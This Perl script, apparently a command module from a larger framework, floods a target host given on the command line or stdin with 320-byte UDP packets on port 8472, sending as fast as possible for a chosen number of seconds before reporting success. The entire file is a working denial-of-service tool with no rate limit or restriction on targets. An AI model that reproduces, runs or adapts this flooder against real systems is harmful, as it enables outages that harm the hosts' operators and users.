#!/usr/bin/perl

use Socket;

require 'ChopSet.ph';
$|=1;

$option = join(' ', @ARGV);
while(<STDIN>){
	s/\r?\n$//;
	$option .= " ".$_;
}
($time, $target) = split(/\s+/, $option);
$sockAddr = pack_sockaddr_in(8472, inet_aton($target));
if($time <= 0){
	print("failed. request time($time) too small.\n");
	&endCall();
	exit(0);
}
unless(socket(SOCK, AF_INET, SOCK_DGRAM, 0)){
	print("failed to create socket.\n");
	&endCall();
	exit(0);
}

$SIG{'ALRM'} = sig_alrm;
alarm($time);
$data = "one-tenth\n"; # 10 bytes
foreach $n ( 1 .. 5 ){ # 10 * 2^5 = 320 bytes
	$data .= $data;
}
while(send(SOCK, $data, length($data), $sockAddr) > 0){
	;
}
print("error.\n");
&endCall();

sub sig_alrm{
	&endCall();
	print("success.\n");
	exit(0);
}
